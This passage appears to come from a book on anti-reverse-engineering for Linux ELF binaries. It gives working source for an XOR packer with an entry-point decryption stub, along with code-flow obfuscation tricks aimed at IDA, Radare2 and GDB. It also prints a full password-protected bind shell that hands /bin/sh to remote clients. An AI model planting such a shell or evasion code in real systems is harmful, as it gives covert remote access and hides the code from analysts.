"\x48\xC7\xC5\xFF\xEE\xDD\x00" //
"\x49\xC7\xC1\xCC\xBB\xAA\x00" //
"\x49\xC7\xC0\xAA\x00\x00\x00" //
"\x4C\x31\x45\x00"
//
"\x4C\x8B\x45\x00"
//
"\x48\xFF\xC5"
//
"\x4C\x39\xCD"
//
"\x7C\xE9"
//
"\x48\xC7\xC5\x19\x03\x40\x00" //
"\xFF\xE5";
//

simple. Very small.

mov
mov
mov
xor
mov
inc
cmp
jl
mov
jmp

rbp, 0DDEEFFh <-- virt_start

r9, 0AABBCCh <-- e_entry
r8, 0AAh
[rbp+var_s0], r8
r8, [rbp+var_s0]
rbp
rbp, r9
short loop
rbp, 400319h <-- actual
rbp

// This is a very basic check to ensure we aren't overwriting page

// boundaries. However, note that the value I'm using (4096) is what is good
// for *my* system. 4096 is a very common page size but your mileage may
// vary.
int lower_bound = (encrypt_start + segment->p_filesz) % 4096;
int upper_bound = (encrypt_start + segment->p_filesz + sizeof(stub)) % 4096;
if (lower_bound > upper_bound)
{
std::cerr << "[-] Stub cross page boundaries" << std::endl;
return false;
}
// replace the values in the assembly with real values
memcpy(stub + 3, &virt_start, 4);

Chapter 4: Fighting Off String Analysis

166

memcpy(stub + 10, &ehdr->e_entry, 4);

memcpy(stub + 40, &actual, 4);
// copy the stub into the binary
memcpy(&p_data[segment->p_filesz], stub, sizeof(stub));
// "encrypt" the binary
char xorValue = 0xaa;
for (uint32_t i = encrypt_start; i < segment->p_filesz; i++)
{
p_data[i] ^= xorValue;
}
return true;
}
int main(int p_argc, char** p_argv)
{
if (p_argc != 2)
{
std::cerr << "Usage: ./cryptor <file path>" << std::endl;
return EXIT_FAILURE;
}
std::ifstream inputFile(p_argv[1], std::ifstream::in | std::ifstream::binary);
if (!inputFile.is_open() || !inputFile.good())
{
std::cerr << "Failed to open the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
std::string input((std::istreambuf_iterator<char>(inputFile)), std::istreambuf_it\
erator<char>());
inputFile.close();
if(!add_cryptor(input))
{
return EXIT_FAILURE;
}
std::ofstream outputFile(p_argv[1], std::ofstream::out | std::ofstream::binary);
if (!outputFile.is_open() || !outputFile.good())
{

Chapter 4: Fighting Off String Analysis

167

std::cout << "Failed to wopen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
outputFile.write(input.data(), input.length());
outputFile.close();
return EXIT_SUCCESS;
}

Youll need to add the project to the top level CMakeLists.txt in dontpanic.
chap_4_static_analysis/dontpanic/CMakeList.txt
project(dontpanic C)
cmake_minimum_required(VERSION 3.0)
add_subdirectory(encryptFunctions)
add_subdirectory(cryptor)
add_subdirectory(trouble)

Finally, youll need to update Troubles CMakeList.txt to execute cryptor after

compilation.
Troubles CMakeList.txt with Cryptor
project(trouble C)
cmake_minimum_required(VERSION 3.0)
# This will create a 32 byte "password" for the bind shell. This command
# is only run when "cmake" is run, so if you want to generate a new password
# then "cmake ..; make" should be run from the command line.
exec_program("/bin/sh"
${CMAKE_CURRENT_SOURCE_DIR}
ARGS "-c 'cat /dev/urandom | tr -dc a-zA-Z0-9 | head -c 32'"
OUTPUT_VARIABLE random_password )
# Pass the random password into ${PROJECT_NAME} as a macro
add_definitions(-Dpassword="${random_password}" -Dpassword_size=33)
set(CMAKE_C_COMPILER musl-gcc)

Chapter 4: Fighting Off String Analysis

168

set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -O3 -static -std=gnu11")

add_executable(${PROJECT_NAME} src/trouble.c src/rc4.c)
add_custom_target(addLDS
COMMAND sed -i -e 's,-o,${CMAKE_CURRENT_SOURCE_DIR}/trouble_layout.\
lds -o,g' ./CMakeFiles/trouble.dir/link.txt)
add_dependencies(${PROJECT_NAME} addLDS)
# After the build is successful, display the random password to the user
add_custom_command(TARGET ${PROJECT_NAME} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E echo
"The bind shell password is:" ${random_password})
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../encryptFunctions/encryptFunctions ${CMAKE_CURRENT_BINAR\
Y_DIR}/${PROJECT_NAME})
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND ../cryptor/cryptor ${CMAKE_CURRENT_BINARY_DIR}/${PROJECT_N\
AME})

Cryptor is quite simple. It appends some assembly to the first LOAD segment and
edits the entry point to point into this appended assembly. The appended assembly
will execute the xor deobfuscation over the LOAD segment and then jump to the
actual entry point. Thats it.

Analyzing the Cryptor

After recompiling Trouble look at the entry point and the program headers.

169

Chapter 4: Fighting Off String Analysis

Troubles ELF header after Cryptor has been applied

albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ readelf -\
h ./trouble/trouble
ELF Header:
Magic:
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:
ELF64
Data:
2's complement, little endian
Version:
1 (current)
OS/ABI:
UNIX - System V
ABI Version:
0
Type:
EXEC (Executable file)
Machine:
Advanced Micro Devices X86-64
Version:
0x1
Entry point address:
0x403154
Start of program headers:
64 (bytes into file)
Start of section headers:
22752 (bytes into file)
Flags:
0x0
Size of this header:
64 (bytes)
Size of program headers:
56 (bytes)
Number of program headers:
4
Size of section headers:
64 (bytes)
Number of section headers:
17
Section header string table index: 14

Troubles program headers after Cryptor has been appliedlang=sh

albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ readelf -\
l ./trouble/trouble
Elf file type is EXEC (Executable file)
Entry point 0x403154
There are 4 program headers, starting at offset 64
Program Headers:
Type
Offset
FileSiz
LOAD
0x0000000000000000
0x0000000000003154
LOAD
0x0000000000003fe8
0x00000000000001f8

VirtAddr
PhysAddr
MemSiz
Flags Align
0x0000000000400000 0x0000000000400000
0x0000000000003154 RWE
200000
0x0000000000603fe8 0x0000000000603fe8
0x0000000000000538 RW
200000

170

Chapter 4: Fighting Off String Analysis

GNU_STACK
GNU_RELRO

0x0000000000000000
0x0000000000000000
0x0000000000003fe8
0x0000000000000018

0x0000000000000000 0x0000000000000000
0x0000000000000000 RW
10
0x0000000000603fe8 0x0000000000603fe8
0x0000000000000018 R
1

Section to Segment mapping:

Segment Sections...
00
.init .text .check_password .fini .rodata .eh_frame
01
.init_array .fini_array .jcr .data .rc4_check_password .bss
02
03
.init_array .fini_array .jcr

Notice how the entry point starts at the very end of the first load segment? This characteristic of Cryptor has nothing to do with the actual encryption and decryption,
but its interesting to note because disassemblers have difficulty handling it. Check
out how Radare2 fails.
Radare2 unable to find Troubles entry point
albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ radare2 .\
/trouble/trouble
Warning: Cannot initialize dynamic strings
Warning: read (init_offset)
-- In soviet russia, radare2 debugs you!
[0x00403154]> aaa
[Cannot find function 'entry0' at 0x00403154 entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[Warning: Searching xrefs in non-executable regiones (aar)
[x] Analyze len bytes of instructions for references (aar)
[Oops invalid rangen calls (aac)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00403154]> pdf
p: Cannot find function at 0x00403154
[0x00403154]>

Why is Radare2 having trouble with this? Cryptor is taking advantage of the fact that
when the first LOAD segment is loaded into memory that it will be page aligned.
That means there is unused space at the end of the LOAD segment that gets mapped.

171

Chapter 4: Fighting Off String Analysis

Cryptor inserts the decryption stub into this space. However, since Radare2 doesnt
expect anything beyond the program header it cant find the entry point (aka the
decryption stub).
Similarly, IDA pops up two different warning dialogs.

First Warning

Second Warning

IDA does attempt to disassemble some of the binary but it doesnt go well because
all of the code has been obfuscated by Cryptor.

IDA Navigation Bar After Using Cryptor

Also, like Radare2, IDA doesnt contain the decryption stub in the dissassembly. Is
there any way for a reverse engineer to disassemble the entry point? Yes! GDB to the
rescue!

Chapter 4: Fighting Off String Analysis

172

Disassembling the Stub with GDB

albino-lobster@ubuntu:~/antire_book/chap_4_static_analysis/dontpanic/build$ gdb ./tro\
uble/trouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble/trouble...(no debugging symbols found)...done.
(gdb) disas 0x403154,0x403182
Dump of assembler code from 0x403154 to 0x403182:
0x0000000000403154:
Cannot access memory at address 0x403154
(gdb) start
Temporary breakpoint 1 at 0x400130
Starting program: /home/albino-lobster/antire_book/chap_4_static_analysis/dontpanic/b\
uild/trouble/trouble
^C
Program received signal SIGINT, Interrupt.
0x0000000000401da0 in __syscall ()
(gdb) disas 0x403154,0x403182
Dump of assembler code from 0x403154 to 0x403182:
0x0000000000403154:
mov
$0x400120,%rbp
0x000000000040315b:
mov
$0x403154,%r9
0x0000000000403162:
mov
$0xaa,%r8
0x0000000000403169:
xor
%r8,0x0(%rbp)
0x000000000040316d:
mov
0x0(%rbp),%r8
0x0000000000403171:
inc
%rbp
0x0000000000403174:
cmp
%r9,%rbp
0x0000000000403177:
jl
0x403162
0x0000000000403179:
mov
$0x4003b0,%rbp
0x0000000000403180:
jmpq
*%rbp
End of assembler dump.
(gdb)

Chapter 4: Fighting Off String Analysis

173

At first GDB didnt want to disassemble the stub. However, once Trouble has been
started there it has no problem disassembling the function.

Chapter 5: Obstructing Code

Flow Analysis
Eventually, a reverse engineer will break down all the little file format hacks
and obfuscation that protects your binary and expose the disassembly for reverse
engineering. However, there are a number of ways that you can write your code to
make a reverse engineers job more difficult.

Indirect Function Calls

Function cross references in tools like Radare2 and IDA are invaluable to a reverse
engineer. The cross references show a various functions are connected and provide
much needed context. Consider the cross reference IDA shows for check_password().
check_password() cross reference
.text:0000000000400740
.text:0000000000400740
.text:0000000000400740
.text:0000000000400740
.text:0000000000400740
.text:0000000000400740
.text:0000000000400740
.text:0000000000400740

check_password

public check_password
proc near

var_38
var_28
var_18
var_10

=
=
=
=

; CODE XREF: main+13

xmmword ptr -38h

xmmword ptr -28h
byte ptr -18h
qword ptr -10h

If you follow the code reference youll find yourself in the main function. The call to
check_password() is quite clear.

175

Chapter 5: Obstructing Code Flow Analysis

Call to check_password() from main()

.text:0000000000400268
.text:000000000040026D

lea
call

rdi, [rsp+78h+var_48]
check_password

Lets try to hide this direct call using a function pointer. Below the check_password()
function I added this declaration:
bool (*indirect_call)(const char*) = check_password;

This is a function pointer to check_password(). Next I updated the call to check_password() in main() to use the function pointer.
Call to check_password() using a function pointer
if ((*indirect_call)(password_input))
{
close(client_sock);
return EXIT_FAILURE;
}

Now lets recompile Trouble and see what IDA says about the cross references to
check_password() now.
Code and data cross references to check_password()
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410

check_password

public check_password
proc near
; CODE XREF: main+13
; DATA XREF: .data:indirect_call

var_38
var_28
var_18
var_10

=
=
=
=

xmmword ptr -38h

xmmword ptr -28h
byte ptr -18h
qword ptr -10h

Hmm that is not an improvement. By using a function pointer, I caused a data

cross reference and a code cross reference to be created! Lets look at the call to
check_password() in main().

176

Chapter 5: Obstructing Code Flow Analysis

Calling check_password() via a function pointer

.text:0000000000400268
.text:000000000040026D

lea
call

rdi, [rsp+78h+var_48]
cs:indirect_call

The code breaks down to the indirect function call that I wanted to make. How does
IDA know the call is to check_password()? If you double click the cs:indirect_call
link in IDA then you jump to this:
Definition of indirect_call in .data
.data:0000000000603008
.data:0000000000603008 indirect_call

public indirect_call
dq offset check_password ; DATA XREF: main+13

Well, that will do it. IDA must be looking at the value stored in indirect_call and
using that value to determine where the call is going. Lets try initializing the function
pointer with NULL instead of check_password().
bool (*indirect_call)(const char*) = NULL;

Next update main() to store check_password() in indirect_call.

Update Troubles main() to store check_password() in indirect_call
int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
indirect_call = check_password;

After recompiling lets check out what IDA has to say.

177

Chapter 5: Obstructing Code Flow Analysis

check_password() with only a date reference

.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410
.text:0000000000400410

check_password

public check_password
proc near

var_38
var_28
var_18
var_10

=
=
=
=

; DATA XREF: main+15

xmmword ptr -38h

xmmword ptr -28h
byte ptr -18h
qword ptr -10h

Thats an improvement! The code reference is no longer there and the data reference
is up towards the top of main().
The data cross reference to check_password()
.text:0000000000400145
.text:0000000000400150
.text:0000000000400159
.text:000000000040015E
.text:0000000000400160

mov
mov
mov
xor
call

cs:indirect_call, offset check_password

rax, fs:28h
[rsp+78h+var_20], rax
eax, eax
socket

The call to check_password() looks the same as it did before the change to initialize
indirect_call with NULL.
Indirect call to check_password()
.text:0000000000400270
.text:0000000000400275

lea
call

rdi, [rsp+78h+var_48]
cs:indirect_call

However, indirect_call different. It has moved from .data to .bss and has no default
value.

178

Chapter 5: Obstructing Code Flow Analysis

indirect_call after initializing with NULL

.bss:0000000000603188
.bss:0000000000603188 indirect_call
.bss:0000000000603188

public indirect_call
dq ?

; DATA XREF: main+15

; main+145

Pretty good. But maybe you can remove the data cross reference to check_password()
by messing with the address stored in indirect_call. Lets change the assignment at
the top of main() a little.
Storing the wrong address in indirect_call
int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
indirect_call = check_password - 0x100;

We then have to adjust the function poiner before making the call to check_password().
Adjusting the address in indirect_call()
indirect_call = indirect_call + 0x100;
if ((*indirect_call)(password_input))
{
close(client_sock);
return EXIT_FAILURE;
}

If you recompile Trouble and drop it into IDA you should see this.

179

Chapter 5: Obstructing Code Flow Analysis

No more cross references to check_password()

.text:0000000000400430
.text:0000000000400430
.text:0000000000400430
.text:0000000000400430
.text:0000000000400430
.text:0000000000400430
.text:0000000000400430
.text:0000000000400430

check_password

public check_password
proc near

var_38
var_28
var_18
var_10

=
=
=
=

xmmword ptr -38h

xmmword ptr -28h
byte ptr -18h
qword ptr -10h

Nice. No cross references! In just four lines of code you were able to remove all cross
references to check_password().

Signals
Another code flow obfuscation technique is to use signals. A signal is an IPC
mechanism that can be used to alter the execution flow of a program. If youve ever
used a terminal youre almost certainly familiar with signals. For example, when you
hit Ctrl-C to terminate a program youve actually sent the SIGINT signal. There
are many signals and you can find them all by looking at the signal man page.
Using the function sigaction you can register a function to handle a specific signal.
For example, if you register a function to handle SIGINT and you hit Ctrl-C while
program is running then your function will be called instead of terminating the
program. Thats pretty useful, right? You can also send signals to your program using
the kill function. How is that useful? Instead of directly calling a function, you can
register the function with sigaction() and generate a signal with kill() everytime you
want to call the function.
For example, consider this version of the Trouble bind shell.

https://en.wikipedia.org/wiki/Unix_signal
man 7 signal
man sigaction
man 2 kill

Chapter 5: Obstructing Code Flow Analysis

180

Calling spawn_shell() via a SIGUSR1 signal

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

<stdio.h>
<unistd.h>
<stdlib.h>
<signal.h>
<string.h>
<stdbool.h>
<sys/mman.h>
<sys/types.h>
<sys/socket.h>
<netinet/in.h>

#include "xor_string.h"
bool check_password(const char* p_password)
{
char pass[password_size] = {};
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}
void spawn_shell()
{
char* empty[] = { NULL };
char binsh[] = { '/', 'b', 'i', 'n', '/', 's', 'h', 0 };
execve(binsh, empty, empty);
}
/**
* This implements a fairly simple bind shell. The server first requires a
* password before allowing access to the shell. The password is currently
* randomly generated each time 'cmake ..' is run. The server has no shutdown
* mechanism so it will run until killed.
*/
int main(int p_argc, char* p_argv[])
{
(void)p_argc;
(void)p_argv;
struct sigaction sVal;

Chapter 5: Obstructing Code Flow Analysis

sVal.sa_flags = SA_SIGINFO;
sVal.sa_sigaction = spawn_shell;
sigaction(SIGUSR1, &sVal, NULL);
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
fprintf(stderr, "Failed to create the socket.");
return EXIT_FAILURE;
}
struct sockaddr_in bind_addr = {};
bind_addr.sin_family = AF_INET;
bind_addr.sin_addr.s_addr = htonl(INADDR_ANY);
bind_addr.sin_port = htons(1270);
int bind_result = bind(sock, (struct sockaddr*) &bind_addr,
sizeof(bind_addr));
if (bind_result != 0)
{
perror("Bind call failed");
return EXIT_FAILURE;
}
int listen_result = listen(sock, 5);
if (listen_result != 0)
{
perror("Listen call failed");
return EXIT_FAILURE;
}
while (true)
{
int client_sock = accept(sock, NULL, NULL);
if (client_sock < 0)
{
perror("Accept call failed");
return EXIT_FAILURE;
}
int child_pid = fork();
if (child_pid == 0)
{

181

Chapter 5: Obstructing Code Flow Analysis

182

// read in the password

char password_input[password_size] = { 0 };
int read_result = read(client_sock, password_input, password_size - 1);
if (read_result < (int)(password_size - 1))
{
close(client_sock);
return EXIT_FAILURE;
}
if (check_password(password_input))
{
close(client_sock);
return EXIT_FAILURE;
}
dup2(client_sock, 0);
dup2(client_sock, 1);
dup2(client_sock, 2);
kill(getpid(), SIGUSR1);
close(client_sock);
return EXIT_SUCCESS;
}
close(client_sock);
}
}

In the above, I introduced a new function called spawn_shell() that contains the
logic for executing /bin/sh. Notice how its never directly called though? Instead
of directly calling spawn_shell() this line triggers its execution:
kill(getpid(), SIGUSR1);

The spawn_shell() function is executed when Trouble receives the SIGUSR1 signal.
This makes static analysis harder because it forces the reverse engineer to track down
all of the sigaction() calls to figure out what function gets called for each signal.
Otherwise, all the reverse engineer just sees this:

183

Chapter 5: Obstructing Code Flow Analysis

Call to spawn_shell() via kill()

.text:00000000004002A4
.text:00000000004002A9
.text:00000000004002AB
.text:00000000004002AD
.text:00000000004002AF
.text:00000000004002B1
.text:00000000004002B6
.text:00000000004002BB
.text:00000000004002BD
.text:00000000004002C2
.text:00000000004002C7
.text:00000000004002C9
.text:00000000004002CE
.text:00000000004002D3
.text:00000000004002D8
.text:00000000004002DA
.text:00000000004002DF
.text:00000000004002E1
.text:00000000004002E6

call
test
jnz
xor
mov
call
mov
mov
call
mov
mov
call
call
mov
mov
call
mov
call
xor

check_password
al, al
short loc_4002ED
esi, esi
edi, ebx
dup2
esi, 1
edi, ebx
dup2
esi, 2
edi, ebx
dup2
getpid
esi, 0Ah
edi, eax
kill
edi, ebx
close
eax, eax

Early Return
Another way to hide Troubles logic is to trick the dissasembler into exiting the
check_password() function early. One way to do this is to push an address onto
the stack and immeaditely return. This will cause the program to return to the
address on the stack. There is actually a very good write up on this technique on
malwintor.com but well create our own example as well.
In order to use the early return technique, youll create a label in check_password()
and use inline assembly to push the address of the label onto the stack. The updated
check_password() looks like this:

https://www.malwinator.com/2015/11/27/anti-disassembly-techniques-used-by-malware-a-primer-part-2/

Chapter 5: Obstructing Code Flow Analysis

184

Returning to the middle of check_password()

bool __attribute__((optimize("O1"))) check_password(const char* p_password)
{
char pass[password_size] = {};
asm volatile(
"push %0\n"
"ret\n"
:
: "g"(&&return_here));
return_here:
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}

There are two interesting things here: 1. Ive introduced the optimize attribute into
the function declaration. This will keep the optimization level for this function at
O1. Ive done this because higher levels of optimization seem to move the label
location and generally break the program. 2. Ive used a GCC extension to get the
address of the return_here: label. Using && in front of a label will get the address
of the lable.
If you disassemble this code you will quickly see that nothing is obfuscated.
Obfuscation fail
.text:0000000000400740
push
rbx
.text:0000000000400741
sub
rsp, 30h
.text:0000000000400745
mov
rbx, rdi
.text:0000000000400748
mov
rax, fs:28h
.text:0000000000400751
mov
[rsp+38h+var_10], rax
.text:0000000000400756
xor
eax, eax
.text:0000000000400758
mov
byte ptr [rsp+38h+var_18], 0
.text:000000000040075D
push
offset loc_400763
.text:0000000000400762
retn
.text:0000000000400763 ; --------------------------------------------.text:0000000000400763
.text:0000000000400763 loc_400763:
; CODE XREF: check_password+22

185

Chapter 5: Obstructing Code Flow Analysis

.text:0000000000400763
.text:0000000000400763
.text:0000000000400768

mov
mov

; DATA XREF: check_password+1D

[rsp+38h+var_19], 0D2h
[rsp+38h+var_1A], 9Ah

As you saw in a previous section, IDA followed the address that check_password()
pushed onto the stack. You need to obfuscate or calculate the address of the label in
some way that will prevent the disassembler from following the logic. Try this:
Obfuscating the return address
char* calc_addr(char* p_addr)
{
return p_addr + 0x400000;
}
bool __attribute__((optimize("O1"))) check_password(const char* p_password)
{
char pass[password_size] = {};
char* label_address = calc_addr(((char*)&&return_here) - 0x400000);
asm volatile(
"push %0\n"
"ret\n"
:
: "g"(label_address));
return_here:
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}

You can see that all Ive done is substracted and added 0x400000 from the label
address. However, the disassembly is much more to my liking.

Chapter 5: Obstructing Code Flow Analysis

186

Early return in check_password() hides code

albino-lobster@ubuntu:~/antire_book/chap_5_code_flow/dontpanic/build$ radare2 ./troub\
le/trouble
Warning: Cannot initialize dynamic strings
-- Wow, my cat knows radare2 hotkeys better than me!
[0x0040030c]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x0040030c]> pdf @ sym.check_password
/ (fcn) sym.check_password 43
|
sym.check_password ();
|
; var int local_20h @ rsp+0x20
|
; var int local_28h @ rsp+0x28
|
; CALL XREF from 0x0040026d (unk)
|
0x00400750
53
push rbx
|
0x00400751
4883ec30
sub rsp, 0x30
; '0'
|
0x00400755
4889fb
mov rbx, rdi
|
0x00400758
64488b042528. mov rax, qword fs:[0x28]
; [0x28:8]=0x4\
740 ; '('
|
0x00400761
4889442428
mov qword [rsp + local_28h], rax
|
0x00400766
31c0
xor eax, eax
|
0x00400768
c644242000
mov byte [rsp + local_20h], 0
|
0x0040076d
48c7c77b0700. mov rdi, 0x77b
|
0x00400774
e8c7ffffff
call sym.calc_addr
|
0x00400779
50
push rax
\
0x0040077a
c3
ret
[0x0040030c]>

Very cool, huh? Before you get too excited though there is still a problem. In graph
view, IDA looks similar to Radare2. However, in text view you can see that IDA
continues to disassemble the code you are trying to hide.

187

Chapter 5: Obstructing Code Flow Analysis

IDA continues disassembly beyond check_password()

.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400750
.text:0000000000400751
.text:0000000000400755
.text:0000000000400758
.text:0000000000400761
.text:0000000000400766
.text:0000000000400768
.text:000000000040076D
.text:0000000000400774
.text:0000000000400779
.text:000000000040077A
.text:000000000040077A
.text:000000000040077A
.text:000000000040077B
.text:000000000040077B
.text:0000000000400780

check_password

public check_password
proc near

var_18
var_10

= byte ptr -18h

= qword ptr -10h

check_password

push
rbx
sub
rsp, 30h
mov
rbx, rdi
mov
rax, fs:28h
mov
[rsp+38h+var_10], rax
xor
eax, eax
mov
[rsp+38h+var_18], 0
mov
rdi, 77Bh
call
calc_addr
push
rax
retn
endp ; sp-analysis failed

; CODE XREF: main+13D

; -----------------------------------------------mov
byte ptr [rsp+1Fh], 0D2h
mov
byte ptr [rsp+1Eh], 9Ah

Notice how IDA continues to disassemble at 0x40077B? It marks this code as having
no cross references, but continues to disassemble it. IDA must just keep trying to
disassemble code after it has completed a function. However, maybe if you insert
some non-code then IDA will stop disassembling? To insert some data use the
.string directive.

Chapter 5: Obstructing Code Flow Analysis

188

Inserting non-code to stop IDAs diassembly

char* calc_addr(char* p_addr)
{
return p_addr + 0x400000;
}
bool __attribute__((optimize("O1"))) check_password(const char* p_password)
{
char pass[password_size] = {};
char* label_address = calc_addr(((char*)&&return_here) - 0x400000);
asm volatile(
"push %0\n"
"ret\n"
".string \"\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\""
:
: "g"(label_address));
return_here:
XOR_STRING31(pass, password, 0xaa);
// validate the password
return memcmp(undo_xor_string(pass, 32, 0xaa), p_password, 32) != 0;
}

Now if you look at the disassembly, youll see that IDA doesnt disassemble the
majority of check_password().
Finally breaking analysis of check_password()
.text:0000000000400750
public check_password
.text:0000000000400750 check_password proc near
; CODE XREF: main+13D
.text:0000000000400750
.text:0000000000400750 var_18
= byte ptr -18h
.text:0000000000400750 var_10
= qword ptr -10h
.text:0000000000400750
.text:0000000000400750
push
rbx
.text:0000000000400751
sub
rsp, 30h
.text:0000000000400755
mov
rbx, rdi
.text:0000000000400758
mov
rax, fs:28h
.text:0000000000400761
mov
[rsp+38h+var_10], rax
.text:0000000000400766
xor
eax, eax

Chapter 5: Obstructing Code Flow Analysis

189

.text:0000000000400768
mov
[rsp+38h+var_18], 0
.text:000000000040076D
mov
rdi, 787h
.text:0000000000400774
call
calc_addr
.text:0000000000400779
push
rax
.text:000000000040077A
retn
.text:000000000040077A check_password endp ; sp-analysis failed
.text:000000000040077A
.text:000000000040077A ; -----------------------------------------------------------.text:000000000040077B db 72h, 73h, 74h, 75h, 76h
.text:0000000000400780 dq 0C6007F7E7A797877h, 1E2444C6D21F2444h, 44C6E61D2444C69Ah
.text:0000000000400780 dq 0E21B2444C69D1C24h, 2444C6CD1A2444C6h, 0C6ED182444C6E619h
.text:0000000000400780 dq 162444C6D0172444h, 44C6C6152444C6C1h, 92132444C6C51424h
.text:0000000000400780 dq 2444C6C4122444C6h, 0C6C7102444C6FC11h, 0E2444C6E30F2444h
.text:0000000000400780 dq 44C6920D2444C6C9h, 0C40B2444C69E0C24h, 2444C6E60A2444C6h
.text:0000000000400780 dq 0C6EE082444C69D09h, 62444C6F2072444h, 44C6F3052444C69Bh
.text:0000000000400780 dq 0F2032444C6C00424h, 2444C6FD022444C6h, 0AABAE02404C6C501h
.text:0000000000400780 dq 20BEFFFFFFh, 0FFFFFBD8E8E78948h, 0DE894800000020BAh
.text:0000000000400780 dq 688E8C78948h, 4C8B48C0950FC085h, 28250C3348642824h
.text:0000000000400780 dq 202E80B74000000h, 441F0F660000h
.text:0000000000400868 ; -----------------------------------------------------------.text:0000000000400868
add
rsp, 30h
.text:000000000040086C
pop
rbx
.text:000000000040086D
retn

Jump Over an Invalid Byte

In the last section you were able to stop IDA and Radare2 from disassembling
the majority of check_password(). However, a quick glance at the code makes it
pretty obvious that the value 0x787 is being passed to calc_addr() and that youre
using retn to jump to the address returned by calc_addr(). One way to hide this
information is a technique described by Silvio Cesare in an article titled Linux AntiDebugging Techniques (Fooling the Debugger) all the way back in 1999.
First, lets see how check_password() looks in GDB.

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190

albino-lobster@ubuntu:~/antire_book/chap_5_code_flow/dontpanic/build$ gdb ./trouble/t\

rouble
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./trouble/trouble...(no debugging symbols found)...done.
(gdb) disas 0x400750,0x40077b
Dump of assembler code from 0x400750 to 0x40077b:
0x0000000000400750 <check_password+0>:
push
%rbx
0x0000000000400751 <check_password+1>:
sub
$0x30,%rsp
0x0000000000400755 <check_password+5>:
mov
%rdi,%rbx
0x0000000000400758 <check_password+8>:
mov
%fs:0x28,%rax
0x0000000000400761 <check_password+17>:
mov
%rax,0x28(%rsp)
0x0000000000400766 <check_password+22>:
xor
%eax,%eax
0x0000000000400768 <check_password+24>:
movb
$0x0,0x20(%rsp)
0x000000000040076d <check_password+29>:
mov
$0x787,%rdi
0x0000000000400774 <check_password+36>:
callq 0x400740 <calc_addr>
0x0000000000400779 <check_password+41>:
push
%rax
0x000000000040077a <check_password+42>:
retq
End of assembler dump.
(gdb)

GDB disassembles linearly. Knowing this you can hide the mov $0x787, %rdi
instruction by introducing extra bytes that wont get executed, but GDB will treat as
valid code. Update check_password() to look like this:

Chapter 5: Obstructing Code Flow Analysis

191

Adding an invalid byte to check_password() to break GDB

char* calc_addr(char* p_addr)
{
return p_addr + 0x400000;
}
bool __attribute__((optimize("O1"))) check_password(const char* p_password)
{
char pass[password_size] = {};
char* label_address = 0;
asm volatile(
"jmp unaligned\n"
".short 0xe8\n"
"unaligned:");
label_address = calc_addr(((char*)&&return_here) - 0x400000);
asm volatile(
"push %0\n"
"ret\n"
".string \"\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\""
:
: "g"(label_address));
return_here:
XOR_STRING31(pass, password, 0xaa);
// validate the password
